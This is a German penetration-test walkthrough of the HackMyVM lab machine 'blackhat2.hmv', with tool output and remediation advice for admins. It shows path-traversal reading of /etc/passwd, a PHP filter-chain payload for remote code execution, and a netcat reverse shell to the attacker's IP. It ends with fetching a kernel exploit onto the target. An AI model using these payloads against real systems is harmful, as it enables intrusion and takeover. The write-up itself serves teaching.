Analyse: Der erste Schritt ist die Identifizierung aktiver Hosts im lokalen Netzwerk mittels `arp-scan -l`. Dieses Tool sendet ARP-Anfragen, um IP- und MAC-Adressen von Geräten im selben Netzwerksegment zu ermitteln.
Bewertung: `arp-scan` findet erfolgreich ein Zielsystem mit der IP-Adresse `192.168.2.118`. Die zugehörige MAC-Adresse `08:00:27:5c:2d:85` gehört laut OUI-Lookup (PCS Systemtechnik GmbH) zu Oracle VirtualBox, was darauf hindeutet, dass es sich um eine virtuelle Maschine handelt. Dies ist die primäre IP für weitere Untersuchungen.
Empfehlung (Pentester): Die gefundene IP `192.168.2.118` als Ziel für detailliertere Scans (Nmap, etc.) verwenden. Die MAC-Adresse notieren, bestätigt die Virtualisierungsumgebung.
Empfehlung (Admin): Netzwerkmonitoring implementieren, um ARP-Scans zu erkennen. Sicherstellen, dass nur autorisierte Systeme im Netzwerk aktiv sind.
192.168.2.118 08:00:27:5c:2d:85 PCS Systemtechnik GmbH
Analyse: Die lokale Hosts-Datei (`/etc/hosts`) wird mit dem Texteditor `vi` bearbeitet, um der gefundenen IP-Adresse `192.168.2.118` den Hostnamen `blackhat2.hmv` zuzuordnen. Dies vereinfacht die Ansprache des Ziels in nachfolgenden Schritten, insbesondere bei Webanwendungen. Die umfangreiche Liste auskommentierter Einträge zeigt frühere Arbeiten.
Bewertung: Eine Standardprozedur, um die lokale Namensauflösung für das Ziel sicherzustellen.
Empfehlung (Pentester): Immer die Hosts-Datei pflegen, wenn mit festen IPs gearbeitet wird, um potenzielle Probleme mit virtuellen Hosts oder Zertifikaten zu vermeiden.
Empfehlung (Admin): Keine serverseitigen Maßnahmen gegen lokale Hosts-Datei-Manipulation möglich. Sicherstellen, dass Serverkonfigurationen, die auf Hostnamen basieren, korrekt und dokumentiert sind.
127.0.0.1 localhost
127.0.1.1 cyber
# 192.168.2.104 zon.hmv
# 192.168.2.105 king.vln
# 192.168.2.106 avengers.vln
# 192.168.2.107 slackware
# 192.168.2.108 library.vln
# 192.168.2.109 lampiano.vln
# 192.168.2.110 nebula.hmv
# 192.168.2.111 pyrat.hmv
# 192.168.2.112 easy.vln skymbu.info
# 192.168.2.113 liceo.hmv
# 192.168.2.114 azer.hmv
# 192.168.2.115 gemini.vln
# 192.168.2.116 immortal.hmv
# 192.168.2.117 gibson.vln
192.168.2.118 blackhat2.hmv
Analyse: Ein `nmap`-Scan wird durchgeführt. Zuerst wird die gefilterte Ausgabe mit `grep open` gezeigt, dann die vollständige Ausgabe. * `-sS`: SYN-Scan (Stealth). * `-sV`: Versionserkennung. * `-A`: Aggressiver Scan (OS, Version, Skripte, Traceroute). * `-O`: OS-Erkennung (Teil von `-A`). * `-T5`: Sehr schnelles Timing. * `-p-`: Scannt alle 65535 TCP-Ports.
Bewertung: Der Scan identifiziert zwei offene Ports: * **Port 22 (SSH):** Läuft OpenSSH 9.2p1 (Debian 12). Ein moderner SSH-Server. * **Port 80 (HTTP):** Läuft Apache 2.4.57 (Debian). Die Webseite hat den Titel "Home - Hacked By sML", was auf eine mögliche vorherige Kompromittierung oder ein Defacement hindeutet. Die OS-Erkennung deutet auf ein Linux-System (Kernel 4.x/5.x) hin. Die MAC-Adresse bestätigt VirtualBox.
Empfehlung (Pentester): Die offenen Ports SSH und HTTP sind die primären Angriffsvektoren. Den Webserver auf Port 80 genauer untersuchen. Der Titel "Hacked By sML" ist verdächtig und sollte untersucht werden – ist es nur ein Titel oder gibt es Hinweise auf Backdoors oder hinterlassene Dateien? SSH für spätere Versuche vormerken.
Empfehlung (Admin): Webserver auf Integrität prüfen, falls der Titel auf ein echtes Defacement hindeutet. Apache und OpenSSH aktuell halten und sicher konfigurieren.
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.57 ((Debian))
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-02 11:17 CEST Nmap scan report for blackhat2.hmv (192.168.2.118) Host is up (0.00016s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) | ssh-hostkey: | 256 04:2a:cb:c4:54:0e:de:54:a1:f2:61:d7:6a:29:f6:5f (ECDSA) |_ 256 a8:02:05:f3:a6:61:7d:e8:8b:e5:6f:1c:5b:7b:5b:33 (ED25519) 80/tcp open http Apache httpd 2.4.57 ((Debian)) |_http-server-header: Apache/2.4.57 (Debian) |_http-title: Home - Hacked By sML MAC Address: 08:00:27:5C:2D:85 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.16 ms blackhat2.hmv (192.168.2.118)
Analyse: `nikto` wird zur Untersuchung des Webservers auf bekannte Schwachstellen und interessante Dateien/Konfigurationen eingesetzt.
Bewertung: Nikto findet: * Server: `Apache/2.4.57 (Debian)`. * Fehlende Security Header: `X-Frame-Options` (Clickjacking), `X-Content-Type-Options` (MIME-Sniffing). * Potenzielle Inode-Leakage über ETags (CVE-2003-1418). * Erlaubte HTTP-Methoden: `GET, POST, OPTIONS, HEAD`. * Ein Cookie `PHPSESSID` wird ohne das `HttpOnly`-Flag gesetzt (gefunden über einen Test-RFI-Payload auf `news.php`). Dies deutet auf die Existenz von `news.php` und die Verwendung von PHP hin.
Empfehlung (Pentester): Die fehlenden Header und das unsichere Cookie notieren. Die Datei `news.php` genauer untersuchen, da Nikto sie als potenzielle Quelle für das Cookie identifiziert hat. Die ETag-Leakage ist meist von geringem Risiko.
Empfehlung (Admin): Fehlende Security Header implementieren. Cookies mit `HttpOnly` und `Secure` Flags versehen. ETag-Header ggf. anpassen (`FileETag None`).
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.118 + Target Hostname: 192.168.2.118 + Target Port: 80 + Start Time: 2024-05-02 11:18:05 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.57 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 3e4, size: 61245689d1f53, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . + /news.php?CONFIG[script_path]=http://blog.cirt.net/rfiinc.txt?: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies + 8102 requests: 0 error(s) and 5 item(s) reported on remote host + End Time: 2024-05-02 11:18:16 (GMT2) (11 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: `dirb` wird verwendet, um nach Verzeichnissen und Dateien zu suchen. Es ist ein weiteres Tool für Directory Brute-Forcing.
Bewertung: `dirb` findet: * `index.html` (Status 200) * `index.php` (Status 200) * `server-status` (Status 403 Forbidden). Apache `server-status` ist konfiguriert, aber der Zugriff ist verboten.
Empfehlung (Pentester): Bestätigt die Existenz von `index.html` und `index.php`. Der verbotene Zugriff auf `server-status` ist normal und sicherheitsbewusst.
Empfehlung (Admin): Zugriff auf `server-status` und `server-info` sollte immer auf interne IPs oder authentifizierte Benutzer beschränkt sein.
----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Thu May 2 11:18:35 2024 URL_BASE: http://blackhat2.hmv/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://blackhat2.hmv/ ---- + http://blackhat2.hmv/index.html (CODE:200|SIZE:996) + http://blackhat2.hmv/index.php (CODE:200|SIZE:996) + http://blackhat2.hmv/server-status (CODE:403|SIZE:278) ---- Entering directory: http://blackhat2.hmv/icons/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ----------------- END_TIME: Thu May 2 11:18:40 2024 DOWNLOADED: 4612 - FOUND: 3
Analyse: `gobuster` wird erneut verwendet, mit einer umfangreichen Liste von Endungen und Filtern.
Bewertung: Gobuster findet zusätzlich zu `index.php` und `index.html`: * `news.php` (Status 200). Dies bestätigt den Fund von Nikto. * `dp.jpg` (Bilddatei). * Mehrere Dateien/Pfade, die wie Jahreszahlen aussehen: `2021`, `2022`, `2023` (Status 200). Dies könnte auf archivierte Inhalte hindeuten.
Empfehlung (Pentester): **`news.php` ist das vielversprechendste Ziel.** Untersuchen, welche Parameter es akzeptiert und ob es anfällig für SQL-Injection, LFI/RFI oder andere Schwachstellen ist. Die Jahreszahlen-Pfade untersuchen, ob sie interessante Inhalte bergen.
Empfehlung (Admin): Die Sicherheit von `news.php` überprüfen und härten. Sicherstellen, dass keine unnötigen oder alten Archive über das Web zugänglich sind.
============================================================================================================================== http://blackhat2.hmv/index.php (Status: 200) [Size: 996] http://blackhat2.hmv/index.html (Status: 200) [Size: 996] http://blackhat2.hmv/news.php (Status: 200) [Size: 3418] http://blackhat2.hmv/dp.jpg (Status: 200) [Size: 238753] http://blackhat2.hmv/2021 (Status: 200) [Size: 31875] http://blackhat2.hmv/2022 (Status: 200) [Size: 34213] http://blackhat2.hmv/2023 (Status: 200) [Size: 36067] ==============================================================================================================================
Analyse: Eine GET-Anfrage an `news.php` wird durchgeführt (vermutlich mit `curl` oder im Browser). Die Header und der Host werden angezeigt.
Bewertung: Bestätigt, dass die Seite existiert und einen `PHPSESSID`-Cookie setzt. Dient als Basis für weitere Tests an `news.php`.
Empfehlung (Pentester): Parameter für `news.php` identifizieren und testen.
Empfehlung (Admin): Sicherheit von `news.php` prüfen.
GET http://blackhat2.hmv/news.php Server Apache/2.4.57 (Debian) Cookie PHPSESSID=m9bvbnajfkp2ku855ulpd1cs6q Host blackhat2.hmv
Analyse: Es wird eine URL gezeigt, die einen SQL-Injection-Test-Payload (`' ORDER BY 1-- -`) an den Parameter `year` von `news.php` sendet.
Bewertung: Dies ist ein Versuch, die Anzahl der Spalten in einer potenziell anfälligen SQL-Abfrage zu ermitteln, die vom `year`-Parameter abhängt. Das Ergebnis des Versuchs wird nicht gezeigt.
Empfehlung (Pentester): Systematisch auf SQL-Injection im `year`-Parameter testen (Error-Based, Union-Based, Blind). Tools wie `sqlmap` verwenden.
Empfehlung (Admin): Prepared Statements und parametrisierte Abfragen verwenden, um SQL-Injection zu verhindern. Eingaben validieren.
http://blackhat2.hmv/news.php?year=2022%27%20ORDER%20BY%201--%20-
Analyse: `sqlmap` wird verwendet, um automatisiert nach SQL-Injection-Schwachstellen zu suchen. Der Request wird aus einer Datei (`ben1.sql` - Inhalt nicht gezeigt, enthält aber wahrscheinlich den vorherigen Request) geladen. `--dbs` soll Datenbanknamen auflisten, `--batch` bestätigt Standardoptionen, `--level 3 --risk 3` erhöht die Intensität der Tests.
Bewertung: `sqlmap` meldet `[CRITICAL] all tested parameters do not appear to be injectable`. Der Versuch, SQL-Injection automatisiert zu finden, ist fehlgeschlagen. Dies schließt eine SQLi nicht vollständig aus, macht sie aber unwahrscheinlicher oder erfordert komplexere Umgehungstechniken.
Empfehlung (Pentester): SQL-Injection vorerst zurückstellen oder manuelle Tests mit anderen Payloads versuchen. Andere Parameter und Angriffspunkte (wie LFI/RFI) in `news.php` untersuchen.
Empfehlung (Admin): Auch wenn `sqlmap` fehlschlägt, ist die Verwendung von sicheren Datenbankabfragen (Prepared Statements) unerlässlich.
___
__H__
___ ___[(]_____ ___ ___ {1.8.3#dev}
|_ -| . ["] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:06:32 /2024-05-02/
[12:06:32] [INFO] parsing HTTP request from '/home/cyber/Downloads/ben1.sql'
[12:06:32] [INFO] testing connection to the target URL
[12:06:32] [INFO] checking if the target is protected by some kind of WAF/IPS
[12:06:33] [INFO] testing if GET parameter 'year' is dynamic
[12:06:33] [INFO] confirming that GET parameter 'year' is dynamic
[12:06:33] [INFO] GET parameter 'year' is dynamic
[12:06:33] [INFO] heuristic (basic) test shows that GET parameter 'year' might not be injectable
[12:06:33] [INFO] testing for SQL injection on GET parameter 'year'
[12:06:33] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:06:33] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[12:06:33] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[12:06:33] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[12:06:33] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[12:06:33] [INFO] testing 'IBM DB2 AND error-based - WHERE or HAVING clause'
[12:06:33] [INFO] testing 'SAP MaxDB AND error-based - WHERE or HAVING clause'
[12:06:33] [INFO] testing 'Apache Derby AND error-based - WHERE or HAVING clause'
[12:06:33] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[12:06:33] [INFO] testing 'Generic UNION query (random number) - 1 to 10 columns'
[12:06:33] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[12:06:33] [INFO] testing 'MySQL UNION query (random number) - 1 to 10 columns'
[12:06:33] [WARNING] parameter 'Referer' does not seem to be injectable
[12:06:33] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
[*] ending @ 12:06:33 /2024-05-02/
Analyse: Der HTML-Quellcode von `news.php?year=2022` (abgerufen mit `curl` und dem Session-Cookie) wird teilweise angezeigt. Er enthält ein Dropdown-Menü für das Jahr, eine Textarea für "Events" und einen Button "Send by email".
Bewertung: Zeigt die Struktur der Seite. Die Textarea und der E-Mail-Button könnten interessant sein, aber der Fokus scheint auf den URL-Parametern zu liegen.
Empfehlung (Pentester): Andere Parameter neben `year` suchen und testen.
Empfehlung (Admin): Code-Review von `news.php` durchführen.
... ... ... December 29 – Brazilian football legend Pelé dies at the age of 82, with his funeral being held at the Vila Belmiro stadium in Santos.[275][276] December 31 – Former Pope Benedict XVI dies at the age of 95, with his funeral being held in St. Peter's Square, presided over by Pope Francis and Cardinal Giovanni Battista Re.[277][278]
onclick="alert(' Events have been sent by email.');" Send by email .... button
select * from database where id = 444 select * from database where id = 444 and sleep(5) select * from database where id = 444 and 1=1
Analyse: `wfuzz` wird verwendet, um nach zusätzlichen GET-Parametern für `news.php` zu suchen. `--hh 3418` filtert Antworten heraus, die dieselbe Größe wie die normale Seite ohne zusätzlichen Parameter haben.
Bewertung: Der Scan findet einen interessanten Parameter: `email`. Wenn `news.php?email=id` aufgerufen wird, ändert sich die Antwortgröße (3911 Chars statt 3418 Chars). Dies deutet darauf hin, dass der `email`-Parameter von der Anwendung verarbeitet wird.
Empfehlung (Pentester): Den `email`-Parameter genauer untersuchen. Auf SQL-Injection, Command Injection, LFI/RFI oder XSS testen.
Empfehlung (Admin): Alle Eingabeparameter validieren und sanitisieren.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://blackhat2.hmv/news.php?FUZZ=id
Total requests: 220547
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000121: 200 149 L 296 W 3911 Ch "email"
=====================================================================
Total time: 0
Processed Requests: 220547
Filtered Requests: 220546
Requests/sec.: 0
Analyse: Der Quellcode der Seite wird angezeigt, nachdem sie mit einem manipulierten `email`-Parameter aufgerufen wurde (`email=ben@hacker.de%27--%20-`). Der Payload (`'-- -`) ist ein typischer SQL-Injection-Kommentarversuch.
Bewertung: Der eingefügte Payload erscheint reflektiert im HTML-Quellcode: `
Email : ben@hacker.de'-- -
`. Die einfachen Anführungszeichen wurden zu `'` HTML-kodiert. Dies verhindert einfache SQL-Injection, könnte aber auf eine XSS-Schwachstelle hindeuten, wenn andere Zeichen nicht gefiltert werden.Empfehlung (Pentester): Reflected XSS im `email`-Parameter testen. Da SQLi unwahrscheinlich ist, den Fokus auf LFI/RFI oder Command Injection in den Parametern `year` und `email` legen.
Empfehlung (Admin): Ausgaben immer kontextbezogen kodieren (hier HTML-Kodierung), um XSS zu verhindern. Eingaben validieren.
view-source:http://blackhat2.hmv/news.php?email=ben@hacker.de%27--%20-Email : ben@hacker.de'-- -
Choose a year : 2023
2022
2021
onclick="alert(' Events have been sent by email.');" class="textbox">Send by email
Analyse: Erneuter `wfuzz`-Scan, um weitere Parameter zu finden, diesmal mit bereits gesetzten Parametern `year` und `email`.
Bewertung: Der Scan bestätigt, dass nur `email` und `year` die Antwortgröße signifikant ändern. Es werden keine weiteren relevanten GET-Parameter gefunden.
Empfehlung (Pentester): Konzentration auf die Parameter `year` und `email` für LFI/RFI-Tests.
Empfehlung (Admin): Code überprüfen.
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://blackhat2.hmv/news.php?year=2022&email=sml@hackmyvm.eu&FUZZ=id Total requests: 220547 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000121: 200 399 L 5497 W 37775 Ch "email" 000003221: 200 149 L 296 W 3924 Ch "year" ===================================================================== Total time: 563.7579 Processed Requests: 220547 Filtered Requests: 220545 Requests/sec.: 391.2086
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://blackhat2.hmv/news.php?year=2022&FUZZ=ls
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 3418
________________________________________________
email [Status: 200, Size: 38124, Words: 6558, Lines: 400, Duration: 2ms]
:: Progress: [1273833/1273833] :: Job [1/1] :: 4255 req/sec :: Duration: [0:05:15] :: Errors: 0 ::
Analyse: Es wird versucht, eine Local File Inclusion (LFI)-Schwachstelle im `year`-Parameter von `news.php` auszunutzen, um den Inhalt von `/etc/passwd` zu lesen.
Bewertung: **Erfolg!** Die URL `http://192.168.2.118/news.php?year=../../../../../../../etc/passwd` gibt den Inhalt der `/etc/passwd`-Datei zurück. Dies bestätigt eine kritische LFI-Schwachstelle im `year`-Parameter.
Empfehlung (Pentester): LFI bestätigt! Dies ermöglicht das Lesen beliebiger Dateien, auf die der Webserver-Benutzer (`www-data`) Zugriff hat.
1. Weitere sensible Dateien lesen (`/etc/shadow` - unwahrscheinlich lesbar, aber versuchen; `/etc/hosts`; `/etc/apache2/sites-available/000-default.conf`; `/var/www/html/news.php` Quellcode via `php://filter/convert.base64-encode/resource=news.php`).
2. Prüfen, ob die LFI zu RCE eskaliert werden kann (z.B. via PHP-Wrapper `php://input`, `php://filter` mit speziellen Filtern, Log Poisoning, oder Einbinden von `/proc/self/environ`).
Empfehlung (Admin): **LFI im `year`-Parameter sofort beheben!** Eingaben müssen strikt validiert werden (z.B. nur erlaubte Jahreszahlen zulassen). Path Traversal (`../`) muss verhindert werden. PHP-Konfiguration härten (`allow_url_fopen=Off`, `allow_url_include=Off`).
http://192.168.2.118/news.php?year=../../../../../../../etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin messagebus:x:100:107::/nonexistent:/usr/sbin/nologin avahi-autoipd:x:101:109:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin sshd:x:102:65534::/run/sshd:/usr/sbin/nologin sml:x:1000:1000:,,,:/home/sml:/bin/bash
Analyse: Ein Tool namens `php_filter_chain_generator.py` (von GitHub) wird verwendet, um eine komplexe Filterkette für den `php://filter` Wrapper zu generieren. Das Ziel ist es, den PHP-Code `=`$GET[cmd]`?>` (Kurzform für `php echo \`$GET[cmd]\`; ?>`, führt einen Shell-Befehl aus dem `cmd`-Parameter aus) so zu kodieren, dass er trotz möglicher Filter ausgeführt wird.
Bewertung: Das Tool generiert eine sehr lange Kette von `convert.iconv.*` und `convert.base64-*` Filtern. Diese Technik wird verwendet, um bestimmte Zeichen oder Zeichenketten zu umgehen, die von Web Application Firewalls (WAFs) oder internen Filtern blockiert werden könnten, und ermöglicht dennoch die Ausführung des ursprünglichen Payloads über die LFI-Schwachstelle. Der generierte Payload wird im `year`-Parameter von `news.php` verwendet.
Empfehlung (Pentester): Die generierte Filterkette verwenden, um RCE zu erlangen. Die URL wird mit der Filterkette im `year`-Parameter und einem zusätzlichen `&cmd=id`-Parameter aufgerufen.
Empfehlung (Admin): LFI beheben ist die primäre Maßnahme. Zusätzlich können Techniken wie Filter-Chain-Angriffe durch eine gut konfigurierte WAF erkannt und blockiert werden. PHP härten (`allow_url_include=Off`).
https://github.com/synacktiv/php_filter_chain_generator
[+] The following gadget chain will generate the following code : ?=`$GET[cmd]`? (base64 value: PD89YCRfR0VUW2NtZF1gPz4)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CS....UTF7|convert.base64-decode/resource=php://temp
Analyse: Die zuvor generierte PHP-Filterkette wird in der URL im `year`-Parameter verwendet. Zusätzlich wird der Parameter `&cmd=id` angehängt, um den `id`-Befehl auszuführen.
Bewertung: **Erfolg!** Die Ausgabe `uid=33(www-data) gid=33(www-data) groups=33(www-data)` erscheint im Response Body, gefolgt von Steuerzeichen und HTML-Code. Dies bestätigt, dass die Filterkette funktioniert hat und RCE als `www-data`-Benutzer über den `cmd`-Parameter möglich ist.
Empfehlung (Pentester): RCE als `www-data` bestätigt. Nun einen Payload für eine Reverse Shell im `cmd`-Parameter übergeben, um eine interaktive Shell zu erhalten.
Empfehlung (Admin): LFI beheben! PHP härten.
http://192.168.2.118/news.php?year=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...[FILTER CHAIN GEKÜRZT]...|convert.base64-decode/resource=php://temp&cmd=id uid=33(www-data) gid=33(www-data) groups=33(www-data) � P�� � ������>�=�= � @ C� � ������>�=�= � @ C� � ������>�=�= � @ C� � ������>�=�= � @ C� � ������>�=�= � @ C� � ������>�=�= � @
Analyse: Die Filterkette wird erneut verwendet, diesmal mit dem Befehl `cmd=nc%20-e%20/bin/bash%20192.168.2.199%209001`, um eine Reverse Shell zum Angreifer-System (`192.168.2.199`) auf Port 9001 zu starten. Ein Netcat-Listener wird auf dem Angreifer-System gestartet.
Bewertung: **Erfolg!** Der Netcat-Listener meldet eine eingehende Verbindung vom Zielsystem (`192.168.2.118`). Der Pentester hat nun eine Shell als Benutzer `www-data`.
Empfehlung (Pentester): Initial Access erfolgreich! Shell stabilisieren und mit der Enumeration für die Privilegieneskalation beginnen.
Empfehlung (Admin): LFI/RCE beheben. Egress Filtering.
http://192.168.2.118/news.php?year=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...[FILTER CHAIN GEKÜRZT]...|convert.base64-decode/resource=php://temp&cmd=nc%20-e%20/bin/bash%20192.168.2.199%209001
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.118] 43382
Analyse: In der erhaltenen Shell als `www-data` wird der Inhalt von `/var/www/html` aufgelistet.
Bewertung: Die Auflistung zeigt die Web-Dateien, darunter `news.php` und eine interessante XML-Datei `full-stack-apache-setup.xml` sowie Bilddateien.
Empfehlung (Pentester): Die XML-Datei untersuchen. Mit der systematischen Enumeration beginnen (`uname -a`, `sudo -l`, SUID-Dateien, Cronjobs etc.).
Empfehlung (Admin): Web-Root-Berechtigungen prüfen.
total 852 drwxr-xr-x 2 root root 4096 Feb 26 10:19 . drwxr-xr-x 4 root root 4096 Feb 26 10:19 .. -rw-r--r-- 1 root root 31875 Feb 26 10:19 2021 -rw-r--r-- 1 root root 34213 Feb 26 10:19 2022 -rw-r--r-- 1 root root 36067 Feb 26 10:19 2023 -rw-r--r-- 1 root root 238753 Feb 26 10:19 dp.jpg -rw-r--r-- 1 root root 4658 Feb 26 10:19 full-stack-apache-setup.xml -rw-r--r-- 1 root root 485364 Feb 26 10:19 hacker.webp -rw-r--r-- 1 root root 996 Feb 26 10:19 index.html -rw-r--r-- 1 root root 996 Feb 26 10:19 index.php -rw-r--r-- 1 root root 4560 Feb 26 10:19 news.php -rw-r--r-- 1 root root 2332 Feb 26 10:19 style.css
Analyse: Ein GitHub-Repository für `ExploitGSM` wird erwähnt. Dies deutet auf die Recherche nach einem spezifischen Exploit hin.
Bewertung: `ExploitGSM` ist bekannt dafür, Schwachstellen im Linux-Kernel auszunutzen, die oft mit GSM-Subsystemen zusammenhängen, oder allgemeiner Kernel-Memory-Corruption-Fehler wie DirtyCred (CVE-2022-2588), welche auf bestimmten Kernel-Versionen (< 6.2) zur Privilegieneskalation führen können.
Empfehlung (Pentester): Die Kernel-Version des Zielsystems (`uname -a`) prüfen und mit den Anforderungen des Exploits abgleichen. Wenn kompatibel, den Exploit herunterladen, kompilieren und ausführen.
Empfehlung (Admin): Linux-Kernel **immer aktuell halten**, um bekannte Schwachstellen zu patchen. Kernel-Exploits sind eine häufige Methode zur Privilegieneskalation.
https://github.com/YuriiCrimson/ExploitGSM
Analyse: Der Exploit `ExploitGSM` wird vom GitHub-Repository auf das Angreifer-System geklont, kompiliert und für den Transfer zum Zielsystem vorbereitet.
Bewertung: Standardvorgehen zur Vorbereitung eines kompilierten Exploits. Der Exploit wird erfolgreich gebaut.
Empfehlung (Pentester): Den kompilierten Exploit auf das Zielsystem übertragen.
Empfehlung (Admin): Ausführung von unbekannten Binärdateien überwachen/verhindern. Härtung des Systems.
Klone nach 'ExploitGSM'... remote: Enumerating objects: 91, done. remote: Counting objects: 100% (91/91), done. remote: Compressing objects: 100% (79/79), done. remote: Total 91 (delta 35), reused 25 (delta 7), pack-reused 0 Empfange Objekte: 100% (91/91), 1.68 MiB | 6.48 MiB/s, fertig. Löse Unterschiede auf: 100% (35/35), fertig.
insgesamt 20
drwxr-xr-x 2 root root 4096 3. Mai 15:31 docs
drwxr-xr-x 2 root root 4096 3. Mai 15:31 ExploitGSM_5_15_to_6_1
drwxr-xr-x 2 root root 4096 3. Mai 15:31 ExploitGSM_6_5
-rw-r--r-- 1 root root 1069 3. Mai 15:31 LICENSE
drwxr-xr-x 2 root root 4096 3. Mai 15:31 OffsetGenerator
-- Configuring done (0.0s) -- Generating done (0.0s) -- Build files have been written to: /root/Hackingtools/ExploitGSM/build
[ 33%] Building C object CMakeFiles/ExploitGSM.dir/main.c.o
[ 66%] Building C object CMakeFiles/ExploitGSM.dir/decompressors.c.o
[100%] Linking C executable ExploitGSM
[100%] Built target ExploitGSM
Analyse: Der kompilierte Exploit `ExploitGSM` wird vom Angreifer-System auf das Zielsystem in das `/tmp`-Verzeichnis übertragen. Dazu wird auf dem Angreifer-System ein temporärer Python-HTTP-Server gestartet und auf dem Zielsystem `wget` verwendet.
Bewertung: Der Transfer des Exploits ist erfolgreich.
Empfehlung (Pentester): Den Exploit auf dem Zielsystem ausführbar machen und ausführen.
Empfehlung (Admin): Übertragung und Ausführung von Dateien in `/tmp` überwachen und ggf. einschränken (z.B. `noexec`-Mount-Option für `/tmp`).
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
--2024-05-03 15:39:26-- http://192.168.2.199/ExploitGSM
Connecting to 192.168.2.199:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1078824 (1.0M) [application/octet-stream]
Saving to: ‘ExploitGSM’
ExploitGSM 100%[=============================>] 1.03M --.-KB/s in 0.003s
2024-05-03 15:39:26 (365 MB/s) - ‘ExploitGSM’ saved [1078824/1078824]
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
